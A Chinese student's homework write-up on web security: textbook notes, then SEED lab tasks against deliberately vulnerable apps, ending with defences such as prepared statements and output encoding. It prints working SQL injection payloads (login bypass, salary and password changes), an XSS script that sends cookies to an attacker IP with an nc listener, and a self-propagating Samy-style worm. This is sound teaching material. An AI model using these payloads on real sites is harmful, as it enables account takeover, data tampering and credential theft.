問題 | 回答 |
---|---|
這個做業屬於哪一個課程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
這個做業的要求在哪裏 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737 |
我在這個課程的目標是 | 學習教材第十一章,瞭解Web安全攻防技術的相關知識 |
這個做業在哪一個具體方面幫助我實現目標 | 相關知識點和實踐 |
Web 應用程序 (Web Application) 是 一種使用瀏覽器在互聯網或企業內部網上進行訪問操做的應用軟件形態,一般以瀏覽器支持的語言(如 JavaScript 等腳本語言及 HTML 等渲染標記語言)所編寫,或可以在瀏覽器控制的環境中運行(如 Java Applet),依賴於瀏覽器來對應用程序進行渲染與執行。
Web 應用的體系結構由瀏覽器做爲「瘦」 客戶端主要完成數據顯示與展現內容的渲染(render)功能;而由功能強大的「胖」服務器負負完成士哎業務的計算處理;二者之間經過因特網或內聯網上 HTTP/HTTPS 應用層協議的請求與應答進行通訊。
javascript
瀏覽器(Browser)
標準的Web 客戶端就是咱們所熟知的瀏覽器,如 IE 、Firefox 、Chrome 等,它們都使用 HTTP/HTTPS 協議、HTML 語言和Web 服務器進行交互,獲取 Web 服務器上的信息和應用服務。php
Web 服務器 (Web Server)
Web 服務器軟件一般被簡單地描述爲 HTTP 守護程序,接收Web 客戶端對資源的請求,在這些請求上執行一些基本的解析處理以肯定資源的存在,而後將它傳送給Web 應用程序來執行,待 Web 應用程序執行完邏輯並返回響應時,Web 服務器再將這個響應返回給 Web 客戶端,在瀏覽器上進行本地執行、渲染和展現。
html
Web 應用程序(Web Application)
負責服務器端的業務邏輯處理,最爲常見的三層體系結構:表示層:接受Web客戶端的輸入並顯示結果;業務邏輯層:從表示層接受輸入並完成某些工做,須要數據層的協做,再將結果送回表示層;數據層:以數據庫或本地文件的形式,提供非易失的信息存儲。java
數據庫(Database)
數據庫有時也被稱爲「後臺」,是 Web 應用存儲數據的地方,數據層也做爲 Web 應用程序多級結構中的最後一層。mysql
傳輸協議 HTTP/HTTPS
瀏覽器和由 Web 服務器、Web 應用程序和數據庫所構成的 Web 站點之間的通訊傳輸
協議是 HTTP/HTTPS 協議。git
針對瀏覽器和終端用戶的 Web 瀏覽安全威脅:具體包括以瀏覽器滲透攻擊爲核心的網頁木馬,Phishing 網站釣魚等。程序員
針對傳輸網絡的網絡協議安全威脅:如針對 HTTP 明文傳輸協議的敏感信息監聽,在網絡層、傳輸層和應用層都存在的假冒身份攻擊,以及拒絕服務攻擊等。web
系統層安全威脅:Web 站點的宿主操做系統,如Windows Server、 Linux等,存在 着遠程滲透攻擊和本地滲透攻擊威脅sql
Web 服務器軟件安全威脅:Web 服務器軟件如 IIS、Apache做爲一種典型的網絡服
務,也不叫避免地存在着安全漏洞與弱點。shell
Web應用程序安全威脅:程序員在使用 ASP、PHP 等腳本編程語言實現 Web 應用
程序時,因爲缺少安全意識或有着不良的編程習慣,最終致使 Web 應用程序出現安
全漏洞,從而被攻擊者滲透利用,包括 SQL 注入攻擊、XSS 跨站腳本攻擊等。
Web數據安全威脅:Web 站點中在 Web 應用程序後臺存儲的關鍵數據內容, 以及
Web客戶輸入的數據內容, 存在滸被竊取、篡改及輸入不良信息等威脅。
主要收集內容包括服務器域名、IP地址和虛擬IP地址、Web服務器端口與其餘開放服務、Web站點類型和版本、Web應用程序類型及版本、Web服務器及其存在的安全漏洞信息等。
手工審查 Web 應用程序結構與源代碼:
自動下載與鏡像 Web 站點頁面:提高手動審查的自動化程度。
使用 Google Hacking 技術審查與探測 Web 應用程序:Google Hacking 技術特指使用 Google 搜索引擎或其餘的 Google 應用,在 Web 站點中的配置、計算機代碼及包含數據中,尋找安全漏洞與敏感信息的計算機黑客技術。
Web 應用程序安全評估與漏洞檢測:針對Web應用程序的攻擊主要集中在身份驗證、會話管理、數據庫操做、輸入數據合法/合理性檢查。安全輔助分析工具主要包括瀏覽器插件、免費工具集、商業Web應用安全評估系統和漏洞掃描器。
數據驅動的遠程代碼執行安全漏洞:做爲一種典型的網絡服務守護進程, Web 服務器軟件包也面臨着緩衝區溢出、不安全指針、格式化字符串等一系列數據驅動安全漏洞的遠程滲透攻擊,這類攻擊每每可以讓攻擊者在 Web 服務器上直接得到遠程代碼執行的權利,並以至關高的權限執行任意命令。
服務器功能擴展模塊漏洞:擴展模塊每每較 Web 服務器軟件的編寫質量要差許多,所以也就存在更多的安全漏洞。
樣本文件安全漏洞:Web應用服務器包含的樣板腳本和代碼示例存在漏洞。
源代碼泄露:源代碼泄漏漏洞讓滲透測試人員可以查看到沒有防禦措施Web服務器上的應用程序源代碼。
資源解析攻擊:Web服務器軟件在處理資源請求時,須要將同一資源的不一樣表示方式解析爲標準化名稱,這一過程被稱爲資源解析。這裏面缺少對輸入合法性與合理性驗證的處理
Web應用程序安全威脅類型包括:針對認證機制的攻擊:針對用來確認用戶、服務或應用身份機制的攻擊手段;受權機制的攻擊:針對用來肯定用戶、服務或應用是否具備執行請求動做必須權限機制的攻擊手段;客戶端攻擊:擾亂或滲透攻擊web站點客戶端用戶的攻擊手段;命令執行攻擊:在web站點執行遠程命令的攻擊手段;信息暴露:獲取web站點具體系統信息的攻擊手段;邏輯攻擊:擾亂或滲透攻擊web應用邏輯流程的攻擊手段。
Web 站點除了經過服務器軟什和應用程序中存在安全漏洞和弱點遭受攻擊以外,還面臨着針對敏感數據內容的攻擊威脅,具體包括安全敏感數據泄漏、網站內容遭受篡改,以及不良信息內容上傳。
網站篡改:網站篡改(Website Defacement) 是一類較早出現且流行已久的網站攻擊形式,通常是網絡駭客們所爲,在利用特定攻擊手段入侵網站後,將網站頁面內容進行替換,從而宣示入侵成功或表達攻擊者的某種觀點訴求。
不良信息內容上傳:Web站點被攻擊者入侵和控制以後,以及一些容許用戶上傳內容的論壇、博客類網站,可能遭受不良信息內容上傳的威脅。
代碼注入攻擊經過利用 Web 應用程序的輸入驗證個不完善漏洞,使得 Web 應用程序執行由攻擊者所注入的惡意指令和代碼,形成敏感信息泄漏、權限提高或對系統的未受權訪問等危害後果。
利用 Web 應用程序的數據層存在的輸入驗證不完善性安全漏洞實施的代碼注入攻擊技術。因爲用戶輸入沒有被正確地過濾以消除SQL語言中的轉義字符,或沒有進行嚴格的類型判斷,使得用戶能夠輸入並執行一些非預期的SQL指令代碼。
http://SITE/xxx.asp?some_rec=yyy
的動態網頁時,當some_rec
字段爲整形參數,經過不一樣的三種字符串可判斷該動態頁面是否存在SQL注入點。同理也能夠對字符型作,下面展現整型狀況。
Wposion 可以在動態 Web 文檔中找出 SQL 注入漏洞;wieliekoek.pl 可以以並以網站鏡像工具生成的輸出爲輸入,找出含有表單頁面,容許在配置文件中對注入字符串進行修改,進行 SQL 注入漏洞探測;SPIKE Proxy 工具容許使用者對待注入的字符串進行定製,並執行自動化的 SQL 注入測試;SPI Toolkit 工具包中也包含了一個名叫"SQL Injector" 的自動化 SQL 注入測試工具。
大多數的 SQL 注入攻擊都是利用 Web 應用程序中對用戶輸入沒有進行嚴格的轉義字
符過濾和類型檢查的安全漏洞,所以對 SQL 注入攻擊的防範措施主要依靠對用戶輸入中特殊字符嚴格的輸入驗證機制,及對輸入參數類型與長度的嚴格檢查與限制機制。
XSS 跨站腳本攻擊的最終目標不是提供服務的 Web 應用程序,而是使用 Web 應用程序的用戶。XSS 跨站腳本漏洞存在於 Web 應用程序中,使得攻擊者能夠在 Web 頁面中插入惡意的 HTML 或 JavaScript 代碼,當用戶瀏覽該網頁時,客戶端瀏覽器就會解析和執行這些插入的代碼,從而形成獲取用戶敏感信息、客戶端滲透攻擊等危害後果。
與代碼注入相似,XSS 攻擊的根源一樣是 Web 應用程序對用戶輸入內容的安全驗證與 過濾不夠完善,在許多流行的 Web 論壇、博客、留言本及其餘容許用戶交互的 Web 應用程序中,用戶提交內容中能夠包含 HTML、 JavaScript 及其餘腳本代碼,而一 旦 Web 應用程序沒有對這些輸入的合法性進行有效檢查與過濾,就頗有可能讓這些惡意代碼邏輯包含在服務器動態產生或更新的網頁中。用戶在瀏覽網頁時,客戶端瀏覽器會解析這些插入的代碼,形成獲取用戶敏感信息、客戶端滲透攻擊等後果。
日前XSS跨站腳本漏洞並無統一的、標準的分類方法,但安全業界廣泛將其分爲兩
種主要的 XSS 漏洞類型,即持久性 XSS 漏洞(Persistent Cross Sile Scripting)和非持久性 XSS 漏洞(Non-persistent Cross Site Scripting),利用這兩類漏洞的攻擊也被稱爲持久性 XSS 攻擊與非持久性 XSS 攻擊。
XSS 跨站腳本攻擊是因爲Web 應用程序未對用戶輸入進行嚴格審查與過濾所引發的,可是惡意腳本執行倒是在客戶端的瀏覽器上,危害的也是客戶端的安全。所以,對 XSS 跨站腳本的防範分爲服務器端和客戶端兩個方面。
服務器端防範措施:與其餘輸入驗證不完備類型安全漏洞相似,XSS 漏洞的首要防範措施是對全部來自外部的用戶輸入進行完備檢查,以 「 限制、 拒絕、 淨化」 的思路來進行嚴格的安全過濾。
客戶端防範措施:跨站腳本最終是在客戶端瀏覽器上執行的,所以對抗 XSS 攻擊需提高瀏覽器的安全設置,如提升瀏覽器訪問非受信網站時的安全等級、關閉 Cookie 功能或設置 Cookie 只讀等。
咱們已經建立了一個 web 應用程序,並將其託管在www.SEEDLabSQLInjection.com
上。這個web應用程序是一個簡單的員工管理應用程序。員工能夠經過此web應用程序查看和更新數據庫中的我的信息。此web應用程序中主要有兩個角色:管理員是特權角色,能夠管理每一個員工的我的資料信息;員工是普通角色,能夠查看或更新本身的資料信息。下表描述了全部員工信息。
URL: http://www.SEEDLabSQLInjection.com Folder: /var/www/SQLInjection/
sudo service apache2 start
啓動Apache 服務MySQL是一個開源的關係數據庫管理系統。咱們已經在 SEED Ubuntu VM 映像中設置了 MySQL。用戶名是root,密碼是seedubuntu。使用如下命令登陸MySQL控制檯:
mysql -u root -pseedubuntu
,-u
指定用戶名,-p
指定密碼
登陸後,能夠建立新數據庫或加載現有數據庫。因爲實驗環境已經建立了用戶數據庫,可使用如下命令加載此現有數據庫mysql> use Users
,而後使用如下命令打印所選數據庫的全部表mysql> show tables
接下來使用以下命令select * from credential
來打印全部員工的信息,在這裏能夠看到員工的姓名、工資以及hash以後的密碼等信息。
若是要查詢僱員Alice的全部配置文件信息,使用以下命令select * from credential where Name="Alice"
咱們將使用www.SEEDLabSQLInjection.com
中的登陸頁面執行此任務。登陸頁面如圖1所示。它要求用戶提供用戶名和密碼。web應用程序基於這兩個數據對用戶進行身份驗證,所以只有知道密碼的員工才容許登陸。
做爲攻擊者,咱們的工做是在不知道任何員工憑據的狀況下登陸到web應用程序。
任務2.1:來自網頁的SQL注入攻擊
首先根據指導書的提示,咱們打開/var/www/SQLInjection/unsafe_home.php
,查看關於登錄校驗的SQL語句。
關鍵部分以下
$input_uname = $_GET[’username’]; $input_pwd = $_GET[’Password’]; $input_uname = sha1($input_pwd); ... $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'"; $result = $conn -> query($sql); if(id != NULL) { if(name==’admin’) { return All employees information; } else if (name !=NULL){ return employee information; } } else { Authentication Fails; }
上面的SQL語句從credential表中選擇id、name、salary、ssn等我的員工信息。SQL語句使用兩個變量input uname
和hashed pwd
,其中input uname
保存用戶在登陸頁的username
字段中鍵入的字符串,而hashed pwd
保存用戶鍵入的密碼的sha1
哈希。該程序檢查是否有任何記錄與提供的用戶名和密碼匹配;若是有匹配,則用戶將成功經過身份驗證,並得到相應的員工信息。若是沒有匹配項,則驗證失敗。最後,咱們注意到對於Admin和其餘員工所顯示的頁面是不一樣的。
那麼經過觀察以上SQL語句咱們能夠知道,Admin是其中的一個員工。若是咱們輸入的username
字段爲Admin'#
,Password
字段爲任意值。SQL語句便以下所示
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #' and Password='$hashed_pwd'
因爲#
在sql語句中表明註釋,也就是說上述代碼中#
以後的內容在實際過程當中不會被執行。上述語句在mysql解釋器中也就變成了下面代碼,也就是不會對密碼進行驗證,又由於咱們輸入的員工名是Admin,因此輸出了全部員工的相關信息。
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admi'
攻擊成功
任務2.2:來自命令行的SQL注入攻擊
這裏要注意的問題是特殊符號要進行轉義,就是找到幾個特殊符號的十六進制,譬如#
用%23
表示,這裏因爲使用命令行,因此咱們須要用到curl,這是一個命令行工具,經過指定的URL來上傳或下載數據。使用命令
curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
根據返回的信息判斷咱們攻擊成功(返回了所有員工的信息)
任務2.3:追加新的SQL語句
在上述兩個攻擊中,咱們僅僅從數據庫中拿到了已有的數據,如今咱們要作的就經過sql注入插入或者修改數據。;
是sql語句的結束符,那麼能夠在構建sql注入攻擊的時候,使用;
將一條語句分割成兩條sql語句,其中第二條是咱們精心構建的插入或者修改語句。若是咱們想讓Admin的薪水變爲100,語句以下
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'; UPDATE credential SET salary='100' WHERE name='Admin';#' and Password='$hashed_pwd
也就是在username
輸入Admin';UPDATE credential SET Salary='100' WHERE name='Admin'#
,可是會發現攻擊失敗
這是由於在MySQL機制中update
不支持union語法,因此攻擊失敗(union是聯合的意思,就是合併兩個或多個select語句的結果集,並消除重複行)
若是UPDATE語句發生SQL注入漏洞,則會形成更嚴重的損害,由於攻擊者可使用該漏洞修改數據庫。在咱們的員工管理應用程序中,有一個Edit Profile頁面,以下圖,容許員工更新他們的我的資料信息,包括暱稱、電子郵件、地址、電話號碼和密碼。要轉到此頁,員工須要先登陸。登錄後點擊左上角Edit Profile
當員工經過Edit Profile頁面更新信息時,將執行如下SQL update查詢。在unsafe edit backend.PHP文件中實現的PHP代碼用於更新員工的配置文件信息。PHP文件位於/var/www/SQLInjection目錄中。
任務3.1:修改本身的薪資
首先咱們根據上述提示查看後臺代碼vim /var/www/SQLInjection/unsafe_edit_backend.php
,能夠找到相關的後臺數據修改的代碼
$hashed_pwd = sha1($input_pwd); $sql = "UPDATE credential SET nickname='$input_nickname', email='$input_email', address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;"; $conn->query($sql);
上述sql語句是sql注入攻擊的關鍵。觀察這條語句,咱們發現員工是無權經過它來修改工資的(固然員工確定不能改工資啊)。但若是咱們輸入的nickname
字段爲',Salary='100' where Name='Alice'; #
,(將 Alice 的工資修改成100)那麼最終被構建的sql語句就將變化爲
UPDATE credential SET nickname='',salary='100' where Name='Alice'; # ',email='$input_email',address='$input_address',Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
同理,#
將後面的語句註釋掉,只執行前面的語句,將 Alice 的工資修改成100
咱們將特殊構建的nickname
,輸入Edit Profile頁面的nickname
字段,而後點擊Save,就可獲得的工資修改後的結果
任務3.2:修改他人薪資
能夠經過修改Name
字段的值,咱們就能夠作到修改任意用戶的Salary
字段。例如構建nickname
字段的值爲',salary='100' where Name='Admin'#
。這樣最終獲得的sql語句就變成了
UPDATE credential SET nickname='',salary='100' where Name='Admin'; # ',email='$input_email',address='$input_address',Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
一樣在nickname
字段輸入上述字段,能夠修改 Admin 的工資。退出 Alice 登錄,使用 Admin 登錄,發現他的工資值被修改成100(初始值爲99999)
任務3.3:修改他人密碼
由上述unsafe_edit_backend.php
中的SQL語句咱們能夠看到,咱們輸入的密碼通過sha1加密以後將其保存到了數據庫的Password
字段,由此咱們不難構建以下的SQL語句。若是咱們想修改 Boby 的密碼爲20199311
,咱們首先使用命令echo -n '20199311' | sha1sum
輸出密碼20199311
的sha1值爲fce06cc54b414aecb0a418eb3a8b759a0eeccbd5
。
而後構建nickname
字段的值爲',Password='fce06cc54b414aecb0a418eb3a8b759a0eeccbd5' where Name='Boby'#
。
一樣重複上兩個任務的步驟,在 Alice 處輸入進行修改。
使用密碼20199311
登錄帳戶 Boby,登錄成功
SQL注入漏洞的根本問題是沒法將代碼與數據分離。在構造SQL語句時,程序(例如PHP程序)知道哪一個部分是數據,哪一個部分是代碼。不幸的是,當SQL語句發送到數據庫時,邊界已經消失;SQL解釋器看到的邊界可能與開發人員設置的原始邊界不一樣。要解決此問題,必須確保邊界視圖在服務器端代碼和數據庫中保持一致。最安全的方法是使用預處理語句
要了解預處理語句如何防止SQL注入,咱們須要瞭解當SQL server接收到查詢時會發生什麼。如何執行查詢的高級工做流程以下圖所示。在編譯步驟中,查詢首先通過解析和規範化階段,在這個階段,查詢將根據語法和語義進行檢查。下一個階段是編譯階段,其中關鍵字(例如SELECT、FROM、UPDATE等)被轉換成機器能夠理解的格式。基本上,在這個階段,查詢被解釋。在查詢優化階段,將考慮執行查詢的不一樣計劃數,並從中選擇最佳優化計劃。所選計劃存儲在cache中,所以每當下一個查詢進入時,都將對照cache中的內容進行檢查;若是它已經存在於cache中,則將跳過解析、編譯和查詢優化階段。而後,編譯後的查詢被傳遞到實際執行查詢的執行階段。
預處理語句在編譯以後執行步驟以前出現。預處理語句將通過編譯步驟,並轉換爲帶有空數據佔位符的預編譯查詢。要運行此預編譯查詢,須要提供數據,但這些數據不會經過編譯步驟;相反,它們直接插入到預編譯的查詢中,併發送到執行引擎。所以,即便數據中有SQL代碼,在不通過編譯步驟的狀況下,代碼也將被簡單地視爲數據的一部分,沒有任何特殊意義。這就是預處理語句防止SQL注入攻擊的方式。
首先咱們修改在unsafe_home.php中的sql語句爲預處理語句,即將
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'"; $result = $conn -> query($sql);
修改成
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $stmt->bind_param("ss", $input_uname, $hashed_pwd); $stmt->execute(); $stmt->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd); $stmt->fetch();
使用預處理語句機制,咱們將向數據庫發送SQL語句的過程分爲兩個步驟。第一步是隻發送代碼部分,即沒有實際數據的SQL語句。這是準備步驟。從上面的代碼片斷中咱們能夠看到,實際數據被問號(?)替換。在這一步以後,咱們使用bind param()將數據發送到數據庫。數據庫將只將此步驟中發送的全部內容視爲數據,而再也不視爲代碼。它將數據綁定到準備好的語句的相應問號。在bind param()方法中,第一個參數「is」表示參數的類型:「i」表示$id
中的數據具備整數類型,「s」表示$pwd
中的數據具備字符串類型。
爲了演示攻擊者如何利用XSS漏洞,咱們在預先構建的Ubuntu VM映像中設置了一個名爲Elgg的web應用程序。Elgg是一個很是流行的面向社交網絡的開源web應用程序,它已經實現了許多應對XSS威脅的措施。爲了演示XSS攻擊是如何工做的,咱們在安裝的Elgg中評論了這些對策,故意使Elgg易受XSS攻擊。若是沒有對策,用戶能夠向用戶配置文件發佈任意消息,包括JavaScript程序。在這個實驗室裏,學生們須要利用這個漏洞對修改後的Elgg發起XSS攻擊,其方式相似於2005年Samy Kamkar經過臭名昭著的Samy蠕蟲對MySpace的攻擊。此攻擊的最終目標是在用戶中傳播XSS蠕蟲,這樣,查看受感染用戶配置文件的人將受到感染,而受感染的人將把您(即攻擊者)添加到他/她的朋友列表中。任務以下
Elgg Web應用程序。咱們在這個實驗室使用一個名爲Elgg的開源web應用程序,Elgg是一個基於web的社交網絡應用程序。它已經在預先構建的Ubuntu VM映像中設置好了。咱們還在Elgg服務器上建立了幾個用戶賬戶,下面給出了憑據。
DNS配置。咱們已配置此實驗室所需的如下URL。安裝web應用程序的文件夾和訪問此web應用程序的URL以下所述
URL: http://www.xsslabelgg.com Folder: /var/www/XSS/Elgg/
sudo service apache2 start
啓動 Apache 服務。在這個實驗室中,咱們須要構造HTTP請求。爲了弄清楚Elgg中可接受的HTTP請求是什麼樣子,咱們須要可以捕獲和分析HTTP請求。爲此,咱們可使用一個名爲「HTTP Header Live」的Firefox插件。在你開始研究這個實驗室以前,你應該熟悉這個工具。
任務1,2,3以 Alice 爲攻擊者,Boby 爲受害者
任務4,5,6以 Samy 爲攻擊者,Boby 爲受害者,Admin 爲蠕蟲病毒的二次受害者
首先利用Alice的帳戶alice和密碼seedalice登陸Elgg
這裏的主要的攻擊方法是在Alice的Brief description域中添加JavaScript代碼並保存,而後使用另外一個用戶Boby登陸並查看alice的profile,則將會看到警告窗口。
首先添加<script>alert('XSS');</script>
代碼並保存,能夠看到彈出了警告窗口
而後使用Boby帳戶登錄,搜索Alice用戶
點開Alice的主頁,彈出警告窗口
與上個任務相似,只是插入的代碼改爲了<script> alert(document.cookie);</script>
點擊save保存,彈出 Alice 的 Cookies
使用 Boby 帳戶登錄,點擊進入 Alice 的主頁,彈出 Boby 的 Cookies
在上一個任務中,攻擊者編寫的惡意JavaScript代碼能夠打印出用戶的cookie,但只有用戶才能看到cookie,而不是攻擊者。在此任務中,攻擊者但願JavaScript代碼將cookies發送給本身。爲此,惡意JavaScript代碼須要向攻擊者發送一個HTTP請求,並將cookies附加到請求中。
這裏經過使惡意的JavaScript代碼插入一個<img>
標籤,其src
屬性設置爲攻擊者的主機來實現。當 JavaScript 插入 img 標籤時,瀏覽器嘗試從src
字段中的URL加載圖片, HTTP GET 請求發送到攻擊者主機。下面咱們使用 JavaScript 將 Cookies 發送到攻擊者機器的9457端口,攻擊者的 TCP 服務器監聽同一個端口,服務器則可打印出任何收到的內容。代碼以下(這裏直接使用 seed 的ip地址做爲攻擊者服務器)
<script>document.write('<img src=http://192.168.200.6:9457?c='+escape(document.cookie) + ' >');</script>
而後咱們在上文ip地址對應的機器上運行命令nc -l 9456 -v
。nc就是以前用到的netcat,-l命令指明監聽的是TCP鏈接,9456是上面請求的端口號,-v用來輸出更詳細的信息。
一樣重複上兩個任務的步驟,將代碼寫入 Alice 的Brief description域
而後打開終端使用命令nc -l 9456 -v
監聽,同時使用 Boby 帳號登錄並查看Alice的主頁
而後在終端上查看結果
在這個和下一個任務中,咱們將執行相似於2005年Samy對MySpace所作的攻擊(即Samy蠕蟲)。咱們將編寫一個XSS蠕蟲,將 Samy 做爲朋友添加到訪問Samy頁面的任何其餘用戶中。
此蠕蟲不會自我傳播;在任務6中,咱們將使其自我傳播。
在這個任務中,咱們須要編寫一個惡意JavaScript程序,該程序直接從受害者的瀏覽器僞造HTTP請求,而無需攻擊者的干預。此次襲擊的目的是讓薩米成爲受害者的朋友。咱們已經在Elgg服務器上建立了一個名爲Samy的用戶(用戶名是Samy)。
在XSS攻擊以前,咱們首先要弄清楚在正常的狀況下,添加好友這個功能都發送什麼樣的指令。所以咱們登錄 Alice 的帳戶,訪問 Samy 的主頁,點擊Add Friend,並同時使用HTTP Header Live查看發送的數據。能夠獲得以下圖所示的信息
從上圖中咱們能夠看到以下的信息:請求的方式是POST
;請求的地址是http://www.xsslabelgg.com/action/friends/add
;請求地址的第一個參數是friend=(samy 的編號是47);請求地址的第二個參數是__elgg_ts=
;請求地址的第三個參數是__elgg_token=
;也就是說咱們要指明添加的好友,添加的時間並進行添加者的身份驗證
結合以上分析獲得的信息和指導書給的一個js框架能夠編寫出以下程序
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the HTTP request to add Samy as a friend. var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47" + ts + token; //Create and send Ajax request to add friend Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>
這段代碼的含義是首先咱們獲取到了訪問者的elgg_ts和elgg_token,接下來按照上文的分析構建了請求url,咱們經過XMLHttpRequest
對象構建請求,請求的方式爲get
, 並設置請求頭和其餘信息,經過send
函數發送請求。
接下來將這段代碼放入 Samy 的 About ME 字段,此字段提供兩種編輯模式:編輯器模式(默認)和文本模式。編輯器模式向字段中鍵入的文本添加額外的 HTML 代碼,而文本模式不添加。由於咱們不但願在攻擊代碼中添加任何額外的代碼,因此在輸入上述JavaScript代碼以前應該啓用文本模式。這能夠經過點擊「Edit HTML」來完成,這能夠在「About ME」文本字段的右上角找到。
接下來使用 Boby 帳戶登錄,這時候 Boby 的好友欄是空的
接下來訪問 Samy 的主頁
再次查看 Boby 的好友欄,發現將 Samy 添加爲好友
此任務的目標是在受害者訪問 Samy 頁面時修改受害者的配置文件。咱們將編寫一個XSS蠕蟲來完成任務。此蠕蟲不會自我傳播;在任務6中,咱們將使其自我傳播。
和上一個任務相同,咱們首先要用 HTTP Header Live 查看修改資料時發送了哪些指令。使用 Samy 帳號登陸,點擊Edit profile
,查看發送的指令
結合指導書上所給的代碼,能夠編寫出以下程序
<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content=token+ts+"name="+userName+"&description=<p>This have been cracked by samy.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit"; var samyGuid=47; //samy的編號是47 if(elgg.session.user.guid!=samyGuid){ //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
首先獲取了訪問者的&__elgg_token=
、__elgg_ts
、&__name=elgg.session.user.name
和頁面的其餘信息。接下來按照上文的分析構建了請求url,而後經過 XMLHttpRequest 對象構建請求,請求的方式爲POST, 並設置請求頭和其餘信息,經過send函數發送請求。程序中的判斷語句的做用是判斷是不是 Samy 請求的,若是是則不做修改。
保存後退出,使用 Boby 帳號登陸,首先查看 Boby 的主頁,發現沒有介紹
訪問 Samy 主頁後再次查看,發現已經被黑了
要成爲真正的蠕蟲,惡意JavaScript程序應該可以傳播本身。也就是說,每當有人查看被感染的我的資料時,不只他們的我的資料會被修改,蠕蟲還會傳播到他們的我的資料中,進一步影響其餘人查看這些新感染的我的資料。這樣,查看受感染配置文件的人越多,蠕蟲傳播的速度就越快。這正是Samy蠕蟲使用的相同機制:在2005年10月4日發佈的短短20小時內,超過100萬用戶受到影響,使Samy成爲有史以來傳播速度最快的病毒之一。能夠實現這一點的JavaScript代碼稱爲自傳播跨站點腳本蠕蟲。在這個任務中,您須要實現這樣一個蠕蟲,它不只修改受害者的配置文件並將用戶「Samy」做爲朋友添加,並且還將蠕蟲自己的副本添加到受害者的配置文件中,這樣受害者就變成了攻擊者。
指導書中介紹了兩種方法,一種是連接的方法,另外一種是調用 DOM API 的方法。這裏使用第二種方法。來看指導書提供的這一段代碼範例
<script id=worm> var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀ var jsCode = document.getElementById("worm").innerHTML; ➁ var tailTag = "</" + "script>"; ➂ var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃ alert(headerTag + jsCode + tailTag); </script>
這段代碼的核心是經過innerHTML
獲取了worm的全部代碼,而後補充完整它的格式,最後將它輸出
結合上一個任務的代碼咱們就能夠編寫出一個完整的,帶有傳播功能的蠕蟲病毒
<script id="worm" type="text/javascript"> window.onload = function(){ var headerTag = "<script id=\'worm\' type=\'text/javascript\'>"; var jsCode = document.getElementById("worm").innerHTML; var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by samy "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=47; if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
一樣將它放入 Samy 的 About me 中
接下來使用 Boby 登陸,並訪問 Samy 的主頁,被感染
而後用 Alice 登陸,能夠看到她的介紹欄什麼都沒有
而後用 Alice 訪問 Boby 的主頁
再次回到 Alice 的主頁,發現已經被黑了,這說明 Boby 感染了蠕蟲病毒而且進行了傳播,該蠕蟲病毒有效
Elgg自己已經提供對抗XSS攻擊的插件,能夠利用管理員帳戶進行登陸,找到Account->administration->plugins
,而且找到插件HTMLawed
,這個插件的主要做用是對用戶的輸入輸出進行校驗而且去除特定標籤。還有一種方式是在代碼中調用htmlspecialchars()
方法,主要是對特殊字符進行編碼,也能夠防範XSS攻擊問題。
